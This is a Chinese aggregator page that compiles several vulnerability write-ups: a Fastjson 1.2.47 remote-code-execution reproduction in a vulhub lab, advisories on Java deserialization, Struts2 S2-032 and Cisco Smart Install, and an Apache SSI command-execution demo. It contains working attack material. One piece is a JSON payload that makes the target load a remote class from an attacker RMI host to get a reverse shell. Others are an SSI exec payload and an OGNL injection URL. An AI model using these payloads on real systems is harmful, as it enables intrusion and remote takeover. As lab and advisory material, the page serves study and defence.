GVKun编程网logo

Fastjson 1.2.47 远程命令执行漏洞(fastjson远程代码执行漏洞)

28

在本文中,我们将给您介绍关于Fastjson1.2.47远程命令执行漏洞的详细内容,并且为您解答fastjson远程代码执行漏洞的相关问题,此外,我们还将为您提供关于"Java反序列化"过程远程命令执

在本文中,我们将给您介绍关于Fastjson 1.2.47 远程命令执行漏洞的详细内容,并且为您解答fastjson远程代码执行漏洞的相关问题,此外,我们还将为您提供关于"Java 反序列化"过程远程命令执行漏洞、Apache SSI 远程命令执行漏洞复现、Apache Struts 2 远程命令执行漏洞,你受到影响了?、Cisco Smart Install远程命令执行漏洞的示例分析的知识。

本文目录一览:

Fastjson 1.2.47 远程命令执行漏洞(fastjson远程代码执行漏洞)

Fastjson 1.2.47 远程命令执行漏洞(fastjson远程代码执行漏洞)

漏洞原理

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


影响环境

Fastjson 1.2.48以前版本


漏洞复现

环境使用的是docker+vulhub的环境搭建的

步骤:

1.Exploit.exp需要进行javac编译2.所有用的工具和编译后的包要在同一目录,然后在该目录启动http服务和启动一个RMI服务器,监听9999端。其中RMI服务marshalsec.jndi.RMIRefServer 是需要jdk1.8版本的。(其中Exp下载地址里边已经有编译好的marshalsec-0.0.3-SNAPSHOT-all.jar,就不用下载meavnmarshalsec进行打包,能省去很长的时间)3.发送构造好的请求包,nc监听得到反弹shell


Exp 下载地址 :

https://github.com/CaijiOrz/fastjson-1.2.47-RCE


下载好会有三个文件,其中Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口



然后来到jdk的bin目录下使用javac进行编译,编译成class文件,得到Exploit.class

javac Exploit.java


把编译好的Exploit.class文件和 marshalsec-0.0.3-SNAPSHOT-all.jar放置同一个目录下,然后发送至攻击机,然后在攻击机的Exploit.class目录下使用python开启站点

python -m SimpleHTTPServer 1111yout-ip/TouchFile.class //访问站点


然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
安装marshalsec,同时mvn也是需要安装的

安装mvn官网下载压缩包 http://maven.apache.org/download.cgi配置环境变量vi /etc/profileexport MAVEN_HOME=/var/local/apache-maven-3.6.2export MAVEN_HOMEexport PATH=$PATH:$MAVEN_HOME/bin编辑之后使用source /etc/profile命令使改动生效。在任意路径下执行mvn -version验证命令是否有效


安装和使用marshalsec

git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests



装好mvn后运行 (若使用mvn时提示命令找不到,可以使用source /etc/profile 更新一下环境变量)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1234/#TouchFile" 9999


构造exp请求包,并多开端口进行nc监听8888

{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.144:9999/Exploit", "autoCommit":true }}


构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。


发送请求包后可以看到向指定ip加载远程类TouchFile.class 


然后攻击机就能收到反弹回来的shell了

本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

"Java 反序列化"过程远程命令执行漏洞

一、漏洞描述

 

国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章。原博文所提到的 Java 应用都使用了 Apache Commons Collections 这个库,并且都存在一个序列化对象数据交互接口能够被访问到。针对每个应用,博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性。

 

 

二、漏洞危害

 

机器上一旦有使用上述应用,即处于“裸奔”状态,黑客可随时利用此漏洞执行任意系统命令,完全控制机器,破坏或窃取机器上的数据。

 

三、已确认被成功利用的软件及系统  

 

使用了 Apache Commons Collections 这个库的应用理论上都受到漏洞影响。目前已被证实受影响的应用:

 

  • WebSphere

  • WebLogic

  • JBoss

  • Jenkins

  • OpenNMS

 

四、建议修复方案

 

官方尚未为此漏洞发布补丁,所以无法通过应用升级等方法修复漏洞。

临时解决方案:

1、使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类。

2、在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/InvokerTransformer.class" 文件。

3、把受漏洞影响的应用访问路径进行隐藏,如改成随机生成的字符串。

Apache SSI 远程命令执行漏洞复现

Apache SSI 远程命令执行漏洞复现

Apache SSI 远程命令执行漏洞复现

一、漏洞描述

当目标服务器开启了 SSI 与 CGI 支持,我们就可以上传 shtml, 利用 <!--#exec cmd=”id” --> 语法执行命令。

使用 SSI (Server Side Include) 的 html 文件扩展名,SSI(Server Side Include),通常称为 "服务器端嵌入" 或者叫 "服务器端包含",是一种类似于 ASP 的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

二、漏洞环境搭建与复现

1、使用 docker 搭建漏洞环境,启动环境

docker-compose build

docker-compose up -d

2、浏览器访问 http://172.17.0.1:8080/upload.php, 即可看到一个上传表单。

  

3、上传一个 php 文件,提示不支持的上传的类型

  

4、上传一个 shell.shtml 文件

<!--#exec cmd="id" -->

  

5、浏览器访问上传的文件,下图可以看到成功执行代码,说明存在远程命令执行漏洞

  

 

原文出处:https://www.cnblogs.com/yuzly/p/11226439.html

Apache Struts 2 远程命令执行漏洞,你受到影响了?

Apache Struts 2 远程命令执行漏洞,你受到影响了?

Apache Struts 2 漏洞又来了... 看看你所在的企业是否受到影响?

乌云导读

Apache Struts2 服务在开启动态方法调用的情况下可以远程执行任意命令,漏洞利用代码已经开始流传

今日 Apache Struts2 官方发布安全公告,Apache Struts2 服务在开启动态方法调用的情况下可以远程执行任意命令,官方编号 S2-032,CVE 编号 CVE-2016-3081,具体请见: S2-032 Security Bulletins 。

漏洞测试样例(无风险):

http://d047ab33ccbe2dda8.jie.sangebaimao.com/struts2-showcase/filedownload/index.action?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23test%3D%23context.get%28%23parameters.res%5B0%5D%29.getWriter%28%29%2C%23test.println%28%23parameters.command%5B0%5D%29%2C%23test.flush%28%29%2C%23test.close&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=%23%23%23Struts2 S2-032 Vulnerable%23%23%23

漏洞影响范围:

  1. Struts2 服务动态方法调用-DMI 开启的前提;

  2. Apache Struts 2.3.18 ~ 2.3.28 之间版本(除了 2.3.20.2 与 2.3.24.2 版本);

PS:感谢 tang3(绿盟科技) 的技术分析指出官方给出的影响范围存在误差,以上为准。

解决方案:

1)禁用动态方法调用:

修改 Struts2 的配置文件,将 “struts.enable.DynamicMethodInvocation” 设置为 false,如

<constant name="struts.enable.DynamicMethodInvocation" value="false" />;

2)如条件允许前提下,可升级 Struts 版本至 Struts 2.3.20.2,Struts 2.3.24.2 或者 Struts 2.3.28.1 来修复漏洞,新版本下载地址:https://struts.apache.org/download.cgi#struts2328。

目前已有多个版本的漏洞利用 POC 在互联网流传,分为命令执行版本与直接写入 Web 后门的版本。同时乌云漏洞报告平台也开始陆续收到多家企业的安全漏洞报告,例如网易、多玩等互联网企业,预计今晚会迎来漏洞爆发的第一个小高峰

另外就乌云漏洞报告平台历史 Struts2 漏洞爆发情况来看,该漏洞还可能影响政府、银行、证券、保险等行业,需提前做好安全应急与防范措施!

历年 Struts2 漏洞爆发时,乌云平台的行业覆盖情况如下:

出处:乌云安全中心

Cisco Smart Install远程命令执行漏洞的示例分析

Cisco Smart Install远程命令执行漏洞的示例分析

这篇文章给大家介绍Cisco Smart Install远程命令执行漏洞的示例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x01 漏洞描述


思科 IOS 和 IOS-XE 系统 Smart Install Client 代码中存在一处缓冲区栈溢出漏洞(CVE-2018-0171)。击者可以远程向 TCP 4786 端口发送一个恶意数据包,利用该漏洞,触发目标设备的栈溢出漏洞造成设备拒绝服务(DoS)或在造成远程命令执行,攻击者可以远程控制受到漏洞影响的网络设备。

据悉,思科交换器 TCP 4786 端口是默认开放的,目前相关PoC已经被发布(完整性有待证实),360-CERT建议相关用户尽快进行评估升级。

0x02 漏洞影响面


影响危害级别:严重

影响设备主要涉及:

  • Catalyst 4500 Supervisor Engines

  • Cisco Catalyst 3850 Series Switches

  • Cisco Catalyst 2960 Series Switches

部分包含Smart Install Client的设备也可能受到影响:

  • Catalyst 4500 Supervisor Engines

  • Catalyst 3850 Series

  • Catalyst 3750 Series

  • Catalyst 3650 Series

  • Catalyst 3560 Series

  • Catalyst 2960 Series

  • Catalyst 2975 Series

  • IE 2000

  • IE 3000

  • IE 3010

  • IE 4000

  • IE 4010

  • IE 5000

  • SM-ES2 SKUs

  • SM-ES3 SKUs

  • NME-16ES-1G-P

  • SM-X-ES3 SKUs

0x03 修复检测建议


检测是否存在漏洞

确认目标设备是否开启4786/TCP端口,如果存在可能收到影响,比如用nmap扫描目标设备端口:

Cisco Smart Install远程命令执行漏洞的示例分析

此外,可以通过以下命令确认是否开启 Smart Install Client 功能:

Cisco Smart Install远程命令执行漏洞的示例分析

如果您不确定您的漏洞是否受到影响,可以使用Cisco的Cisco IOS Software Checker进行检测:

Cisco Smart Install远程命令执行漏洞的示例分析

关于Cisco Smart Install远程命令执行漏洞的示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

我们今天的关于Fastjson 1.2.47 远程命令执行漏洞fastjson远程代码执行漏洞的分享已经告一段落,感谢您的关注,如果您想了解更多关于"Java 反序列化"过程远程命令执行漏洞、Apache SSI 远程命令执行漏洞复现、Apache Struts 2 远程命令执行漏洞,你受到影响了?、Cisco Smart Install远程命令执行漏洞的示例分析的相关信息,请在本站查询。

本文标签:

上一篇JS 开发者增幅相当于 Rust 和 Ruby 用户总和,中国成 5G 开发中心(js 开发模式)

下一篇Node.js 存在操作系统命令注入漏洞(node.js报错)